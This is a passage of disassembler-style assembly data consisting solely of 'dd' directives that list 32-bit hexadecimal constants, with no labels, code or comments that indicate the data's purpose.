		dd 0ABB7ACCFh, 491DB621h, 47C036DEh, 0D0B320AFh, 3C38AEDFh
		dd 393C4289h, 4618A574h, 273C088Ch, 0B0A930A4h,	0FC0AB814h
		dd 93A10023h, 34A54295h, 30071E8Ch, 0A943B7C0h,	0C1249843h
		dd 0A4C4BDD7h, 0D093182Ah, 0C6C5D1B5h, 0DA349978h, 98053923h
		dd 47836D3h, 0E95B308Bh, 20694C10h, 0D6167F0Eh,	6D31600Dh
		dd 959659h, 61D90B51h, 0ADC074A7h, 4530D560h, 0C29F04D3h
		dd 0CEDC0A19h, 80093C2h, 0F30BDC4h, 1C694800h, 3523C844h
		dd 0C22CA066h, 8FCB0579h, 3337D614h, 8847380Ch,	0F48B180Ch
		dd 186A4B30h, 581DC048h, 0AF500B5Ch, 69335050h,	0EBC641DEh
		dd 10E833C4h, 190A3C40h, 785097A8h, 0EC10C696h,	1D831058h
		dd 0B06B8AEFh, 3B92E477h, 6E1D42F2h, 6FFE007Ch,	87D3C843h
		dd 0CCCE1724h, 0E3614E83h, 0B2803C9h, 895D9154h, 0EC8146A0h
		dd 0C43619CEh, 0E490DF49h, 6E135Ah, 1574A0EBh, 940F2106h
		dd 0F35054E8h, 0D209900Ch, 938157h, 707E03FCh, 96470F77h
		dd 2579746h, 5E0A92A7h,	0DE4F0C8Fh, 14A1EC09h, 81F1606Dh
		dd 0DB4952B1h, 644ED74Ch, 681A188h, 35160FB1h, 0BC088C54h
		dd 480E412Ch, 0A8B84826h, 0B6809260h, 0A8CC5890h, 5374BDF0h
		dd 2302F80Fh, 0D0AF97A2h, 82A5C61h, 88E47BD3h, 29185891h
		dd 0F3C0428Ch, 8CDB5322h, 0E4358A7Ch, 0A554D101h, 7C320B5Dh
		dd 13C9865h, 9B160360h,	0B8918A6Ch, 5303D837h, 0AC10635h
		dd 0DD4AF19h, 0BA956288h, 20C5A061h, 1184AA64h,	22D99C2h
		dd 0DC880637h, 81E08541h, 0C37FFC5h, 80CE95C8h,	0A398C8CAh
		dd 6BE90A0Ch, 49B005E0h, 0A1048A33h, 884C5CC9h,	0A8E0C5C0h
		dd 40F40893h, 3D789041h, 4504CE11h, 0E605CA6h, 27529E42h
		dd 80A1C828h, 8C993D46h, 72C8240Ch, 97A40460h, 0E70CCFD1h
		dd 0B7C1DF4h, 0E6B45E09h, 0E4A81341h, 0E680914Ah, 0C8C99BBh
		dd 8CE69628h, 0AA9C3349h, 77D42223h, 49C9849Bh,	21A03E36h
		dd 0CE47938Ah, 0D21786A1h, 220A1424h, 74B12056h, 61CE290Dh
		dd 0A221505Fh, 1905ED50h, 51800AE0h, 0BEA84DA9h, 82381981h
		dd 0D84D4FD1h, 4D903052h, 4C5F9558h, 7F2C5526h,	23BEC6BEh
		dd 0EC807EBCh, 10DD751Ch, 3C8DB8C0h, 7536FE29h,	41E42466h
		dd 0E37B8878h, 0CC16090Ah, 5F560B40h, 0C018CEF7h, 0DED128E7h
		dd 84387018h, 5F811F9h,	229C1F04h, 43C3453h, 8A02827Bh
		dd 70E81479h, 0BEE0F93Ch, 0D8951B47h, 44043C47h, 7993C8BCh
		dd 2C01E9C1h, 482CDFh, 0B332C902h, 327A5BEh, 0ABA46E5h
		dd 20F949B9h, 21D7D0B7h, 0BE7EB600h, 8DDAA93Bh,	0BFA40FCEh
		dd 5980F3ABh, 47E536BAh, 0B932A80Fh, 0AC0BC770h, 0A3099083h
		dd 112861BCh, 0F044B221h, 0BD0FA835h, 9E508A6h,	70D901B9h
		dd 0B0E13AAAh, 0B8E820F1h, 3C2578ABh, 47EBA43h,	0F32ED742h
		dd 1AA0B5D0h, 2FCFFA04h, 0B5A825C0h, 0F32C24A6h, 1E275546h
		dd 0D1322044h, 0CF1D5493h, 0C82F4BCEh, 0E91808B4h, 8F092026h
		dd 82488F08h, 0C897A9A0h, 7E600FB0h, 16F498E1h,	0F433522h
		dd 6848FB30h, 2C36D00h,	2CD261F0h, 3F54h, 4E9E62D3h, 6C1CD9A3h
		dd 0A480D43Eh, 5AF49669h, 720B0E9h, 0A7CCADD5h,	0E4D01001h
		dd 18D3CB1Ah, 7896CC1Dh, 41CE7403h, 4EEB30Eh, 830BD81h
		dd 0AF24D145h, 0D35861D2h, 10E8AEC2h, 0C0C5D9F6h, 7C235B02h
		dd 3E9BB8DFh, 81494711h, 0DDB85E0Ch, 1250B430h,	8149C451h
		dd 0F49A935Ch, 68CFF840h, 0F419B0C1h, 8191F853h, 0FB660D81h
		dd 40845AF7h, 61C8C69h,	33504337h, 0FE7820F0h, 91363105h
		dd 8C709724h, 4739C3FBh, 4A819805h, 8152C7Ah, 0F82D1508h
		dd 92BC500h, 8858D353h,	20C78A27h, 15289720h, 65A789Dh
		dd 30609FCEh, 94508995h, 0B0A1C248h, 7A282778h,	605E6491h
		dd 0E28E0960h, 9300878Dh, 0F24DDA79h, 1C2D27Dh,	0A827E44Eh
		dd 6C70B60Ah, 0BABB0734h, 0A985B032h, 0B0B57898h, 59B71650h
		dd 7541FA6h, 0EE92D790h, 0B4B22E80h, 0D00AE1ABh, 44F788DCh
		dd 0ECDA3F60h
		dd 0BB9A0A53h, 0C1040847h, 0F3B59BB6h, 10C349Dh, 0B7ACC508h
		dd 9325F2A8h, 88CC3031h, 923E7866h, 4519D723h, 0A04E8410h
		dd 5024E491h, 1053B8CCh, 91081E29h, 0BC4C4054h,	0EC9930ADh
		dd 94D2F859h, 6D24410h,	32E24289h, 0D5E20833h, 500A7008h
		dd 801388FAh, 8A829C6Fh, 0C90EA53h, 8CACE5D7h, 86CC5080h
		dd 18B42334h, 22D5DC23h, 0D744D209h, 12E989D4h,	48DB24D6h
		dd 22DD91D8h, 0DCDF44DAh, 0DE12D189h, 0E048E324h, 0E222E591h
		dd 0E800E77Ch, 0C0DA209Dh, 52D82699h, 0C632F4D7h, 849695B8h
		dd 0EB04D652h, 8300F14h, 0FABC9828h, 0D3CA02C8h, 23C492EDh
		dd 603B007Fh, 5E9337h, 0CB906D7Bh, 0BCC8A7D0h, 92BDD50Eh
		dd 8FF58E44h, 190D0F4Ch, 6401A540h, 140026Dh, 0D08D7B5Dh
		dd 3124D5AEh, 4680C23h,	0C9D9FFDDh, 0D888302Bh,	0C7FC2295h
		dd 0F8289B22h, 384AE9B6h, 42A826B0h, 6C3C022h, 0DA47BBE3h
		dd 0E44509E5h, 42F3814h, 15C0BAEAh, 0BB0BEC2Dh,	8D42CC1Fh
		dd 3054E906h, 0A53E7621h, 0F8F67138h, 507E44Ah,	0D1110A94h
		dd 97A5C3h, 469D2218h, 0B8928C4Eh, 960DE414h, 98F87B1Ch
		dd 0ACA6A3Dh, 28C9F3CFh, 70EA8F45h, 0B414A2E4h,	8841D563h
		dd 0ED3100D9h, 7DE2617Bh, 3E3A6CFEh, 0EE670064h, 53F4AE73h
		dd 221B018Eh, 0F9A70206h, 12EE843h, 96445506h, 5023E1h
		dd 30AAAB1h, 0D17E3515h, 0F549E1C0h, 5AE74Dh, 55A5F184h
		dd 0B8A6BF4Eh, 4B80C10Ch, 8529D2h, 3A4432AAh, 244D17B2h
		dd 3D6CAE00h, 5AA34A52h, 817F0054h, 8DB0917Ah, 600CE5DEh
		dd 41DF2C98h, 0AD720EEBh, 3205DF5h, 26770CDDh, 0DF509900h
		dd 2EE1D96Ah, 9CA4EDh, 7A8B1034h, 2A992CF1h, 2FB0920Ch
		dd 0E521E9h, 0A735872Dh, 6CD5B551h, 21540B03h, 3D1F8E92h
		dd 0C4C447B8h, 3DBCB007h, 0D2813560h, 807E0D54h, 53A80250h
		dd 0E57E681Ch, 4B1871C0h, 1F16B5D1h, 0C1BDCD1Bh, 0E1B119E4h
		dd 11B6E01Dh, 0CE00D5EEh, 40D91A95h, 29DA1B1Fh,	4714D447h
		dd 0EC7087B4h, 0D01F4930h, 0D904E3B1h, 420011B2h, 0B5E17516h
		dd 0CF18EB1Ch, 0CD327E00h, 0C148E8BAh, 0DD7F1290h, 18BA03h
		dd 0D34DEBB6h, 7448EFBCh, 2880D9CBh, 59DCD013h,	649EA3Ah
		dd 0DD4BE2B3h, 0D9703D78h, 0E1423163h, 4B1459B6h, 0C50CBED7h
		dd 844064CEh, 0B5CF1C1Fh, 0DA740A17h, 288E2B1h,	0D6751542h
		dd 0F980148Eh, 88A1C2A3h, 0D118FA78h, 0BA49DEF8h, 97D4E3EFh
		dd 31D3606Fh, 0C8FF294h, 3A72A006h, 19D750h, 0F873EA5Fh
		dd 0C38F723h, 0E4F1D303h, 0D8D217F3h, 22C1C0h, 72A36E4Fh
		dd 0A618EF50h, 8F0058DFh, 665AB8E4h, 71290264h,	0CF0A7BCBh
		dd 81FF3102h, 655479B6h, 0F2CE69E0h, 0C1A9C425h, 0E83A006Dh
		dd 10D27E01h, 0D79E3ECh, 0C8E4C43Bh, 0F91884CEh, 0EF296540h
		dd 6E547BB5h, 382A3184h, 0BD1A887Ch, 5194AFFh, 7403EF2Ch
		dd 1EF99E3Bh, 2AE69728h, 0D5DE0C40h, 6928C4ECh,	0E4BB5319h
		dd 598471B8h, 66AB897h,	31E1729Dh, 38319A53h, 4B518522h
		dd 0C843428Bh, 787450h,	753BD540h, 6672A249h, 9BBEA700h
		dd 0B5CE6FE8h, 5180FB78h, 2AED54B1h, 7F60D4BBh,	9F533979h
		dd 30846134h, 86E77A36h, 0D9A07918h, 8FED0769h,	35BD85D4h
		dd 0DDA40C64h, 0F214A9F1h, 45F87AC3h, 0F7A6F0A8h, 31058430h
		dd 0CA6BE89Ch, 8A4CE618h, 3583955h, 775379E5h, 7B3D911Dh
		dd 0FA8FCF86h, 0CADF839h, 46F5215Ch, 92329D30h,	0AA6D18D0h
		dd 0D911544Ch, 9560A39Ch, 0A4638B4Ah, 857DE2A4h, 0D9317F64h
		dd 0B88819D6h, 0FD58E4DBh, 0B368949h, 8B62DE88h, 215F30C2h
		dd 0E28D750h, 8C07185h,	0C40FF966h, 0C628D07Fh,	0A7BE4684h
		dd 3C28C914h, 0A1964684h, 210ACC53h, 0CEEE080Ah, 0B5D7217Eh
		dd 0C6223944h, 0AD3F0835h, 1E081251h, 0F7F2CF43h, 7D3BF0B8h
		dd 0CD3C5C99h, 7378096Ch, 3F60B8CFh, 1234987Bh,	20AF1F92h
		dd 96A1F560h, 461C369h,	6A08CF8Ch, 0F1981581h, 32DB202Dh
		dd 0A3196F58h, 0B3144083h, 381826CBh, 75797078h, 7BB40A98h
		dd 8A08CEBDh, 634C0B78h, 4909DBECh, 84C4BB4Eh, 27467098h
		dd 0FC5799E7h, 37DD133Ch, 11DFB80Ch, 5F6F127Dh,	3BE8219Fh
		dd 43DC2370h, 0CB4960A8h, 13BCF095h, 0CFF853h, 6AB2136Ch
		dd 0B50F1F2Bh, 77D1A09h, 0F5F33410h, 0FBC9874h,	0B0370039h
		dd 0B7D107D4h, 683A27E8h, 0C01B2C15h, 0CF691100h, 7FEC40h
		dd 0E4BDB7CDh, 761D433Dh, 1125DC1Dh, 1BBDE0Bh, 0BDCF2BF8h
		dd 481D1C00h, 4044D331h, 0D46045E3h, 0B8D4FCD7h, 40CE5550h
		dd 3C445460h, 130F1915h, 0BA83397Eh, 36C54811h,	0EA0A9830h
		dd 1CB7DD75h, 721D1660h, 2DE480CCh, 48D4BE17h, 60EA100Ah
		dd 98A8286Bh, 72700423h, 70B761DAh, 70A805DDh, 0EF2B4B80h
		dd 0C42C18E4h, 0D6071100h, 50AE645h, 6FEF7D1Ch,	0D52C70DDh
		dd 0B309CF76h, 0E1D49D4h, 7CC44124h, 384C751Ah,	702AF8E4h
		dd 0BB310294h, 0BACB06EBh, 408E1494h, 16E0E5B0h, 0C0B32B2Eh
		dd 851DB00Eh, 0F856B1C4h, 1E4CE002h, 68949503h,	16F0F504h
		dd 22500C3h, 0B21373Bh,	0CF033C15h, 45C449D3h, 0B7DCA0E5h
		dd 133498E9h, 5D76122Bh, 2ADD0000h, 776849D1h, 9892EF70h
		dd 59D94D00h, 0B2C408ACh, 0DE7F26E8h, 28503640h, 420FE40Fh
		dd 2035131Ah, 0CC026C1Ch, 434A1540h, 745056ECh,	1636AF06h
		dd 60829042h, 89FF0415h, 3000BF05h, 848EBBCh, 18EE2416h
		dd 31C49049h, 58249440h, 0DA180BDEh, 5407ECBBh,	0D414827Ch
		dd 0CF49D060h, 73187A78h, 0DD40BDCBh, 0C09847h,	7164308h
		dd 75E7EEDCh, 1C78DF74h, 70008C90h, 0E9B2CBD0h,	58BBD67Fh
		dd 0B31370EFh, 9FC0FE2h, 80D8C404h, 42D373A0h, 0B6DC10C6h
		dd 0BBCE2460h, 5835ACh,	0DEB7D7B4h, 40C1D048h, 0E1B1E3C4h
		dd 0C8BCCBD1h, 151DD13Ch, 75303072h, 0E1784108h, 0DD7FA1C7h
		dd 0D976D4C0h, 7E80B49h, 181A7CD7h, 2955041Fh, 0EEBE41F8h
		dd 0D89DE31Bh, 0ACB816D4h, 5808183Ch, 32CF60h, 0CF711D1Ch
		dd 4BE912EEh, 9CB874DAh, 0E0244A18h, 0D313F0B2h, 0D9721C03h
		dd 4075A242h, 3EC4D4E8h, 30624BCAh, 0E3E1E2B1h,	80D0E240h
		dd 0CB761304h, 40A294BFh, 0F0BB0446h, 591B0F05h, 2F0BC4CDh
		dd 0B40513BDh, 0EEE49CB7h, 8B0C194Dh, 0DF9801B1h, 0DC6012BEh
		dd 0D821E9B7h, 0E1E31FD1h, 0C4621145h, 0EE3E1C48h, 75E90962h
		dd 0E494C4C2h, 4550EF65h, 0D1D8C093h, 2070DC7Fh, 47D93A0Fh
		dd 69CF6F7Ch, 1987B18Fh, 0C8EF45D4h, 0DD527520h, 3C1FD22Ch
		dd 0E2458030h, 34DA4C07h, 0E8586F30h, 0B10FCDC4h, 99DF74E9h
		dd 0CBF516B0h, 40189ACEh, 9BBB5950h, 3DF25F38h,	2A015F04h
		dd 11C4321Ah, 29E846Ch,	0E41246DEh, 49D3291Ch, 2E0CD118h
		dd 0DE3B5840h, 0A748D4B7h, 11257868h, 47D06905h, 0D88118E2h
		dd 647414D4h, 2AB7EC7Fh, 0B6181B13h, 835068F8h,	1F0E1008h
		dd 76E814A0h, 4D0B20BAh, 82EABBD0h, 78E6B438h, 131F7444h
		dd 0C9D4B1D3h, 0C7D43C3Ch, 42403A7Eh, 3DE72B1h,	0D675E8BBh
		dd 0DCC011BFh, 76051D24h, 7018B3D3h, 14D190C7h,	0E4E7EF33h
		dd 0E1500316h, 210115B6h, 40DC4C13h, 0BBD0191Dh, 92509EEBh
		dd 0E4C8D81Bh, 3D693961h, 0E0700912h, 0DA80A1B3h, 2DB0344Bh
		dd 72F1141h, 1750BADCh,	4920CC34h, 30E090BEh, 0A318D4B0h
		dd 3827D1F0h, 0DA3BF0DBh, 76EB0340h, 7F164608h,	0E01B2102h
		dd 5E07E842h, 86EE47A0h
		dd 185B901Ch, 9C68E023h, 380D80E1h, 16F3104Bh, 481DE8E6h
		dd 1A3EB43Dh, 0F828B5D3h, 482FE860h, 0DC401C41h, 0D31C18EDh
		dd 46CF20BAh, 0CB76E20Eh, 0D97F82B5h, 0BBB870BCh, 0C4CE95E0h
		dd 84801228h, 0EF22128Ch, 0B5EC8CB9h, 0CC721506h, 0C5D8F4EEh
		dd 1DDD4988h, 12080ADCh, 0E8D820D0h, 0EAFCF170h, 0BDCD2675h
		dd 1F283C04h, 45CB3E80h, 192A30B2h, 4742B085h, 0B117EEF0h
		dd 7CBEB1CEh, 1F7CC7DCh, 12EED781h, 29E8E990h, 0DC295845h
		dd 6B7FD289h, 40303D60h, 0D41830ADh, 0D824741Fh, 0CB1444BAh
		dd 6499D2F4h, 4424F03Dh, 30072720h, 1525C007h, 4733DC76h
		dd 401CE81Dh, 4AD4F0C0h, 0FA182F1Bh, 0EBB8F1C0h, 7A0056B9h
		dd 7BF50824h, 188FE337h, 29DA50FAh, 0CF73AE9Ah,	0D230E0E5h
		dd 0D6F24F04h, 0C8F95179h, 2C5FB514h, 7536C20Ch, 0E000A719h
		dd 0BFD18014h, 7A0427C7h, 75400051h, 0F7216F94h, 0CE0CD2A4h
		dd 416D9C03h, 3F2C3C08h, 86BFF39Fh, 812EBF8h, 0E5800460h
		dd 3F242Fh, 4657BD01h, 5F87BB09h, 18A9481Eh, 52C07D9Ch
		dd 0A07E7739h, 0DFE50172h, 7A3F9DBh, 68D880E1h,	3D14C542h
		dd 0AC3E135Ah, 0F358A027h, 29755416h, 434B0700h, 1C88F0B7h
		dd 2A269FAh, 0DA8FED6Ch, 6400387Ch, 0F1F0149h, 420A78Ch
		dd 308F61A4h, 0FC8E8679h, 900082ECh, 7033495Bh,	0A85EA8C0h
		dd 6D29C53h, 52B493F5h,	0C807F176h, 68A3215Dh, 0AB907227h
		dd 1F5B3A78h, 27FFB014h, 476878C8h, 0A7667509h,	0E6B4F0ECh
		dd 382914E8h, 0A027B422h, 59107064h, 0E2028875h, 79062ABDh
		dd 2D71C99h, 5A26h, 5B738750h, 88C16FE9h, 3B7DC0E0h, 0FEAC21C7h
		dd 0CB4ADDA0h, 53070076h, 0F6F806BEh, 796ED972h, 7C5B6480h
		dd 0AB0ECE0Fh, 9CB8DD2Dh, 9C43FFF0h, 852F415Ah,	40C88818h
		dd 0DFE388CCh, 7D10C0A5h, 8BA85109h, 0BC8300FAh, 31326EBAh
		dd 8C037B1Ch, 0F7E5D900h, 0BD42546Ch, 0E96503D4h, 0A5CB26C5h
		dd 0BF395AC0h, 0D2901B63h, 0DC20F5F6h, 84773721h, 987EBD3Dh
		dd 0EE21D250h, 0C7B9001Bh, 6CD8EA5Bh, 8DDB253h,	11721F0h
		dd 0A6F900B9h, 0B165787Dh, 9F05AE75h, 7CBF158h,	0F3D82C01h
		dd 885F0CEBh, 6A6F70C4h, 0F5837323h, 50EF77A3h,	8C09D848h
		dd 12C82A48h, 0D8622FF3h, 222D207Ch, 0F4A06A3Fh, 8C1BCF1h
		dd 373DE411h, 1C45440h,	0E02A7EADh, 0FFD32D0Ch,	24C75061h
		dd 6939B930h, 0A571DADh, 1AF6BBC0h, 93F8C1F5h, 892ED080h
		dd 20F7F48Ch, 5D0AC9B8h, 0C4082B41h, 8C3B4940h,	49F7E840h
		dd 7C11D0E1h, 0D650187Dh, 31DBE59h, 306AC4DDh, 0F9F9F53Ch
		dd 5B4412Ch, 88E04A79h,	0FCA86F03h, 737BF702h, 8CC08E3h
		dd 0FFC44689h, 81C36CDCh, 2B204E87h, 1E81EC3Ah,	0C3ABEF51h
		dd 0F7B49882h, 8082CBEDh, 1B00115Fh, 4996C8F5h,	540710D2h
		dd 316DCC32h, 0C889FAEEh, 0A529F386h, 3B11EC76h, 28AD0F83h
		dd 1C10F2h, 0BAD17BFh, 4161096Ch, 90BA6332h, 0C12504D3h
		dd 0EA7714h, 281B5ED0h,	0FC4832Fh, 468469BCh, 7BB84193h
		dd 0E08D0732h, 49185A3Ah, 0FC01227h, 98A36469h,	0AD03603Fh
		dd 70F5232Ch, 0B301C311h, 1644AD6Bh, 0C770F837h, 0F15B90C1h
		dd 8347683h, 3DA206A1h,	7877437Bh, 7EB8C109h, 8104B216h
		dd 1A5BC5F4h, 15810433h, 0D0A4B90Fh, 4B072529h,	71697709h
		dd 0AA74901h, 0F8FF3E00h, 0B680A960h, 156C177Ch, 80E5215Eh
		dd 4FA3D782h, 54F7D048h, 180CB030h, 0A438E416h,	0AD6C0F7Ch
		dd 8871F52Bh, 14A48AC1h, 40AF1DD8h, 4B68913h, 0F728B570h
		dd 0F60CA492h, 68E0E37Bh, 528410F3h, 843229D6h,	7F262D80h
		dd 0C009ABA8h, 0D6B6C310h, 8F1FF874h, 68B8507Eh, 544A6018h
		dd 94733F0Fh, 722C660h,	0F2FF2878h, 4BF114A4h, 5008C79h
		dd 767CBF5h, 853054AEh,	0CCB030DBh, 0DA3B03D0h,	0C838438Eh
		dd 9F75D900h, 0B1CAAF64h, 0E1F0021h, 32BB8269h,	8612D30Ah
		dd 0D8126ED1h, 65484A18h, 0E983308Bh, 228C13E8h, 0A3343648h
		dd 301CE1C8h, 671E1A81h, 30A15A51h, 250BD122h, 2B3CB97h
		dd 69EE2FB3h, 9023A3C0h, 9B31C8A2h, 3F06A5F8h, 0C28C6967h
		dd 2121B43Bh, 9DAA1B07h, 0D8D0C545h, 798C5EBFh,	48735C54h
		dd 3E343512h, 0C72304h,	0E587C0BAh, 406FE52h, 0C6BE8CF5h
		dd 0D41F4950h, 53F71480h, 0E288D1BFh, 0A2830072h, 9FE5F984h
		dd 0F8B87C68h, 30614E01h, 5340AFE8h, 830257Ah, 5C06A9Ch
		dd 465BC9B9h, 0ED22FAh,	70B90329h, 2DF8865Bh, 15D22402h
		dd 0E8528CF3h, 48A071C0h, 0A38B34FFh, 0CC11381Dh, 6A472383h
		dd 0EBFEB688h, 10D05758h, 0AF020CA3h, 0F8755EE8h, 0BD58404Ch
		dd 0F0A3034Ch, 203CFABh, 2130D080h, 28E0F2D5h, 0E28179E3h
		dd 3BDD8C4Ch, 0BD7C1743h, 0F3D1BC30h, 0E26491C0h, 0B5F8DEB8h
		dd 0FF5E90A0h, 4C99D9ECh, 27AF308h, 1DCE5665h, 0D2544841h
		dd 1029D4B0h, 5570D09Bh, 0D04F00E1h, 5D7C54AFh,	783A8F84h
		dd 0C426121Bh, 51799828h, 0F01CC58Eh, 7048C14h,	0A5BC3B9h
		dd 1321EF62h, 8C41B90Dh, 96EC2BEBh, 0F3D1DDBh, 0B4C86D9Ch
		dd 7900CA75h, 0BA0B07Ch, 130EFAB9h, 13A106h, 746751F9h
		dd 8200BBD3h, 0ECDE533Ch, 3E664BBCh, 6F18496Dh,	0B0C8188Ch
		dd 0B9785Ch, 35F10858h,	7656630h, 71BA67FCh, 0B1504C55h
		dd 8D4AC203h, 0D9EBC3DFh, 898ABD6h, 0DA9421AAh,	4D064A00h
		dd 0A16D72CEh, 890860EEh, 7916A944h, 0B680A00h,	5B06F7B1h
		dd 23401812h, 0DBDA78A2h, 18C7D131h, 0A8F98890h, 97666800h
		dd 0DF0C467Ch, 0C04AB4ECh, 18D0035Dh, 67B224EDh, 0DDF3B6C0h
		dd 63976500h, 2976B04Ch, 0F1C0017Ch, 643D51FEh,	74388350h
		dd 68083DBh, 0B5ED22F8h, 0CBF840A1h, 50949B54h,	69955803h
		dd 0A4FE6h, 158EEFC1h, 0BA9A74C1h, 958C6B19h, 2180E008h
		dd 5A1586CCh, 0F2754E5Fh, 0AC0B0900h, 0DBDF324Dh, 0D883E718h
		dd 0F5778CCDh, 94C060E5h, 8FE917DDh, 81AA0F48h,	5FB06EA1h
		dd 0C04960FCh, 0FE8EA5B8h, 0DB029163h, 0E7401312h, 0B90A1B0h
		dd 61800901h, 150FC244h, 8E609F88h, 652BDC20h, 3F6680FEh
		dd 0E7A16A0Ch, 31A9B90Bh, 0D3D8DD2Eh, 9029EB8Bh, 0A879FCFFh
		dd 41009218h, 5274662h,	6F0E882Eh, 89280BAh, 0C1C1BD24h
		dd 8D448C4Ah, 20A92822h, 0B24AD997h, 0F9F00200h, 3DE8F8EFh
		dd 6170EA39h, 8732B9FFh, 90F1D4E4h, 55850900h, 5DD21AEAh
		dd 32A7119h, 0F9FFFE97h, 5CC8D771h, 0F50E7D3Ah,	58CF5866h
		dd 280BDE98h, 538CF905h, 767F9814h, 30A092D6h, 0E371FA70h
		dd 0B400BF3Ah, 8568996Dh, 0E84CAA9Ah, 0A11F63Eh, 0F12F9E43h
		dd 7FD700B0h, 0C1553B1Dh, 0B2881015h, 0A3711884h, 71D58AE1h
		dd 2C0400A6h, 27B18C5Fh, 62112EA8h, 4300F071h, 4C30986Ch
		dd 0B901FC6Dh, 0B16A352Ch, 7C268F89h, 0FAF1CB00h, 7F2E1D73h
		dd 0CFB980F1h, 1A5A4F55h, 2F23140Eh, 0A688EC6Eh, 894AC6C0h
		dd 22E346DFh, 0DE9800ACh, 884B964Ah, 3909FAE0h,	18DB5311h
		dd 0C0FE70D4h, 5C038B1h, 100824Dh, 762B45DEh, 1F41742h
		dd 3F6752DFh, 0E5DC56FCh, 49742455h, 0A02AF200h, 0B8BC2DEh
		dd 89A66D6h, 92032145h,	7F122AEBh, 6D911DA7h, 3E68C0F5h
		dd 0A06C5BCBh, 43C0BE00h, 8154DC1Ah, 88110A74h,	5B8A3B6h
		dd 20D956FFh, 0A52AEF38h, 11EADE23h, 0E497004Fh, 0EB2DD42Ah
		dd 1377F8AEh, 0AFC879h,	2B74412Ch, 0A4A094A7h, 7CA04FF6h
		dd 0EE01795Dh
		dd 42393884h, 0A6FD4CB4h, 0F631520h, 9F409124h,	0F78E9018h
		dd 0C28C2D48h, 0A0937E94h, 0CAA0C8D8h, 0AAC11C6Fh, 118C0060h
		dd 3E12F804h, 0EFE8F00h, 0F216E3B5h, 7E80180Fh,	0AE87396Bh
		dd 10F11400h, 0E85AB583h, 0F708DDCBh, 14A6F021h, 0F502FA22h
		dd 0A0440261h, 4ECCE07Fh, 0F8C9B6Ch, 96A8DB72h,	0E7844152h
		dd 15088F18h, 0C48274C2h, 87CD40E3h, 2E0115h, 80F9C729h
		dd 0AFF1448Dh, 1CD06D63h, 0F226A1F7h, 0F85851DCh, 0D91316DCh
		dd 8808450Ch, 0F69040BAh, 419814DDh, 0D310DC9Ah, 71D848Fh
		dd 7A2A829Dh, 9C603A76h, 2E288B96h, 5815E456h, 806ADEh
		dd 236F72CDh, 617849EDh, 0CFC3E865h, 12E10186h,	92879BECh
		dd 48577B18h, 0CD051CBDh, 193AD645h, 26DA10B8h,	2AEC0724h
		dd 0C4F8DEA2h, 0E5944042h, 0B03C612Ah, 0F4094480h, 831FC218h
		dd 0C0997E78h, 0BC9D86A1h, 71001A72h, 73C6E09Bh, 1B33DF7h
		dd 0B568426h, 50CBC30Eh, 5C04BECCh, 10885F52h, 561C92DFh
		dd 3946A24h, 0EC5F6895h, 10484EA4h, 79144000h, 0D2001099h
		dd 0B52B7FB6h, 5BD024FEh, 0E8FB87B0h, 0C0B9133Eh, 99CF7819h
		dd 45106F39h, 0AF003211h, 0A17037F6h, 38F3D26h,	2B7227DDh
		dd 30068E8Bh, 439C24D4h, 0E20F0180h, 4B40EA5Fh,	69B440A7h
		dd 0BF3080C5h, 7473884h, 0DE80C159h, 34FB90DBh,	1B3A60C8h
		dd 70D837h, 0D4A7C365h,	0C0FD8513h, 409B6720h, 20A7DAE1h
		dd 0C1302A88h, 41611058h, 682639Ch, 71600F0h, 0DD4F1281h
		dd 4492E523h, 9048D4ACh, 0FE3C005Ch, 0C5377F17h, 14243FDFh
		dd 0E8FE061h, 12C66A2h,	1BDCC82Eh, 0A42323E0h, 1187212h
		dd 0C3C20A78h, 0B402295h, 9057D740h, 411A6E80h,	0B84C4205h
		dd 1B561001h, 0A2F1C053h, 4006C99h, 10EE14A7h, 2F9D62CBh
		dd 0E114BFE0h, 7F2A4CA1h, 400F45Ch, 0D2E2280Ah,	244FC575h
		dd 494ACCFh, 8678B8EEh,	0B7A91A8h, 54601088h, 128388A3h
		dd 4AF7EDA1h, 8BCBF6Ch,	0C10EE328h, 0F005920Eh,	8004F5C7h
		dd 0BC8064F6h, 40132A0Ch, 0FF3AD48Bh, 0ECA00C0Bh, 491449EFh
		dd 9E00A05Dh, 9A09576Ah, 0A73B23E8h, 36818289h,	417B2DD3h
		dd 0C98556F8h, 0D03824DCh, 232A8A90h, 2608D69h,	21908808h
		dd 0B44A1FE9h, 10084120h, 23BE83A0h, 0C050E2BDh, 0A944B354h
		dd 0A1EB71A0h, 90105950h, 4524D8D5h, 0A90083B7h, 2FDEF9A4h
		dd 0D744314Fh, 0B78F57A8h, 14F1A989h, 420A680h,	98DD73A9h
		dd 0E484562Ch, 0ED14A202h, 9E31A310h, 14BAAA10h, 0B4A5AF01h
		dd 0C404DF1Dh, 2619B024h, 1D805A15h, 0F31D2003h, 84F94411h
		dd 6EF70DBh, 6860F089h,	3F048809h, 6A4E1401h, 1C24D665h
		dd 0A0209035h, 0D76944DAh, 0DB13A506h, 9848EB40h, 0D95E6037h
		dd 0DE0A63D4h, 0E7D85707h, 0C241FE3Dh, 0F870752Bh, 0C5048CB9h
		dd 0FBDF884Ah, 9B20AF62h, 2B14ADDh, 3A60B601h, 5CECEF65h
		dd 700C64FCh, 10BF9CD3h, 0E4241386h, 6704A57h, 0A9465C38h
		dd 0C4230A01h, 43DF29ADh, 500146D0h, 49E9608Ch,	6BC4FE9Ah
		dd 8284A20Ch, 215F2BD4h, 41F68533h, 0DA3D3888h,	0B40C0860h
		dd 2B916769h, 84940618h, 58101229h, 99E84097h, 443024DDh
		dd 35D870D9h, 0D0606465h, 0C4048CB8h, 0F3DF8B4Ah, 9AC0B8B2h
		dd 0B4464ADCh, 22D4D709h, 0D66CA03Fh, 31762529h, 0C860B8FBh
		dd 0CE49004Ch, 485AF88Ch, 0B08DC4Eh, 6603DCFDh,	4B39F78h
		dd 6133A6A0h, 4B8890E6h, 0EC16DE5Ah, 30425C70h,	64E7F969h
		dd 900A5848h, 44DAF174h, 99FCA0B8h, 68BF8072h, 0DBD2B15h
		dd 0D3880984h, 2CCC8A40h, 0F0D097E0h, 69362538h, 0CCB8688Bh
		dd 9C906668h, 0EE180BE8h, 3FB80511h, 88A2547Eh,	0CD9C00E9h
		dd 4774931Dh, 0EC13B078h, 901D588Ah, 0B443B7D3h, 9BF66AAh
		dd 0BAEAA030h, 0DCFE8823h, 0BE0BC17Ch, 10455414h, 0A775D8A0h
		dd 60A8C4D0h, 0A429051h, 6CD5591Eh, 6321879Ch, 0FED0D11Ah
		dd 50C317D3h, 7852631Dh, 71D9DCA9h, 0A00FFF74h,	2552638Fh
